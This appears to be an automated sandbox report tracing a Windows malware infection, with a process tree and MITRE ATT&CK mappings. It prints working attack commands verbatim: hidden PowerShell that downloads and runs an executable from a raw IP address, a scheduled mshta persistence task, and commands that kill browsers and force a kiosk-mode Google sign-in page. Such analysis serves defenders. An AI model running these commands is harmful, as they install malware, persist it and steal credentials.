        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'AACUBVZU0EJPP0IGAIIGCBZ4EQZMMPYX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11432
        
        C:\Users\Admin\AppData\Local\TempAACUBVZU0EJPP0IGAIIGCBZ4EQZMMPYX.EXE
        
        "C:\Users\Admin\AppData\Local\TempAACUBVZU0EJPP0IGAIIGCBZ4EQZMMPYX.EXE"
        9⤵
        
        PID:8444
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10352750121\am_no.cmd" "
        6⤵
        
        PID:6632
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        7⤵
        Delays execution with timeout.exe
        
        PID:5524
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        
        PID:8744
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8908
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        
        PID:9640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9660
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        
        PID:11612
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11656
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "F1RatmaUPJ7" /tr "mshta \"C:\Temp\vbFJxQoNd.hta\"" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12644
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\vbFJxQoNd.hta"
        7⤵
        
        PID:12696
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12900
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        9⤵
        
        PID:12452
      - C:\Users\Admin\AppData\Local\Temp\10352760101\c199af7990.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352760101\c199af7990.exe"
        6⤵
        
        PID:8884
      - C:\Users\Admin\AppData\Local\Temp\10352770101\30586871ff.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352770101\30586871ff.exe"
        6⤵
        
        PID:2492
      - C:\Users\Admin\AppData\Local\Temp\10352780101\9bd60acb4e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352780101\9bd60acb4e.exe"
        6⤵
        
        PID:5660
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        Kills process with taskkill
        
        PID:11996
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        Kills process with taskkill
        
        PID:7752
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        Kills process with taskkill
        
        PID:8208
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        Kills process with taskkill
        
        PID:8912
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        Kills process with taskkill
        
        PID:9588
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:11272
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        
        PID:11304
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2012 -prefsLen 27021 -prefMapHandle 2016 -prefMapSize 270249 -ipcHandle 2092 -initialChannelId {4c98ed73-d7df-413e-a153-7f02cb815e76} -parentPid 11304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        9⤵
        
        PID:2440
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2500 -prefsLen 27057 -prefMapHandle 2504 -prefMapSize 270249 -ipcHandle 2512 -initialChannelId {c30c11a1-ffc5-4e7d-b8d0-dc2c104ee60b} -parentPid 11304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        9⤵
        
        PID:13236
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3788 -prefsLen 25102 -prefMapHandle 3792 -prefMapSize 270249 -jsInitHandle 3796 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3812 -initialChannelId {7fc72275-56bd-460b-a457-3b7538f4cf92} -parentPid 11304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        9⤵
        
        PID:6908
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3960 -prefsLen 27198 -prefMapHandle 3964 -prefMapSize 270249 -ipcHandle 4044 -initialChannelId {976894dc-a2bf-415f-bb75-51d09795625c} -parentPid 11304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        9⤵
        
        PID:7056
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4408 -prefsLen 34697 -prefMapHandle 4412 -prefMapSize 270249 -jsInitHandle 4416 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4420 -initialChannelId {9b477d00-16b0-4b6b-ab47-5b2c1ee7a6be} -parentPid 11304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        9⤵
        
        PID:7988
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4996 -prefsLen 35012 -prefMapHandle 5000 -prefMapSize 270249 -ipcHandle 4948 -initialChannelId {d440ba95-96b4-48b0-a376-cb4125fe80cf} -parentPid 11304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        9⤵
        
        PID:4656
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5140 -prefsLen 32952 -prefMapHandle 5160 -prefMapSize 270249 -jsInitHandle 5156 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5176 -initialChannelId {edee4a59-3d6b-47a8-a2f0-f7ac8dd3b2bf} -parentPid 11304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        9⤵
        
        PID:10304
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5404 -prefsLen 32952 -prefMapHandle 5408 -prefMapSize 270249 -jsInitHandle 5412 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4676 -initialChannelId {b54234c4-5e54-47bf-88df-604c5cc8973b} -parentPid 11304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        9⤵
        
        PID:10544
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5696 -prefsLen 32952 -prefMapHandle 5700 -prefMapSize 270249 -jsInitHandle 5704 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5680 -initialChannelId {94dc0e72-331d-40ef-b1f4-ef50619c941b} -parentPid 11304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        9⤵
        
        PID:10676
      - C:\Users\Admin\AppData\Local\Temp\10352790101\c4ad0acc9e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352790101\c4ad0acc9e.exe"
        6⤵
        
        PID:6940
      - C:\Users\Admin\AppData\Local\Temp\10352800101\325b497c94.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352800101\325b497c94.exe"
        6⤵
        
        PID:5328
      - C:\Users\Admin\AppData\Local\Temp\10352810101\529a127180.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352810101\529a127180.exe"
        6⤵
        
        PID:8740
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10352810101\529a127180.exe"
        7⤵
        
        PID:7820

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1108

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:3484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4984

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4932

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
1⤵
PID:1724

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
1⤵
PID:2808

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:6936

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:10036

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\key.exe
1⤵
PID:11448

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
PID:11592

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
PID:5384

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\{ceb13cbc-81d0-4be1-9d11-185e9a49bb84}\a3bed27a-a63e-4ae8-af12-fba062b47df4.cmd"
1⤵
PID:7944
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:8504
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:11320
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12712
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:6092
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:5800
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9180
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:7044
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:12672
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6532
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6576
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6740
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:5924
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6916
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:7292
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:7188
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:3928
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:10248
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3372
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:11704
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:11808
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:11780
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:9020
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:9072
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:9116
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9160
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:8884
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:11852
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12132
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:12200
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:2292
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:12140
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:5332
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9336
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:10288
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3956
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:11400
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4548
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:11104
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5380
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:2816
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:4064
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:12368
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:12424
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12444
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:11688
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:12264
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:12456
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:12656
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6736
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12756
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:12864
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9728
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9864
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:10752
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:10344
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:10776
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:2416
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12696
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:4968
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:13224
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5752
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5568
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:5244
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:1884
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:2468
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:7464
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:4356
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:6348
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12944
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:12964
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6704
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6552
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6652
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6748
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:7456
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:7292
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3008
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3468
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:5200
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:8664
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:224
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:6956
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:11984
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:11852
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:644
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:5768
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:5616
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:11680
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6100
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:8328
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12944
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2168
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:7696
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9188
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9532
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:6504
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:10388
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:10812
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:10520
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:8776
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5652

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:5664

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:11448

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:4744

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:8188

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:9808

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
PID:12584

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
PID:6208

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:2264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Modify Authentication Process

T1556

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Authentication Process

T1556

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

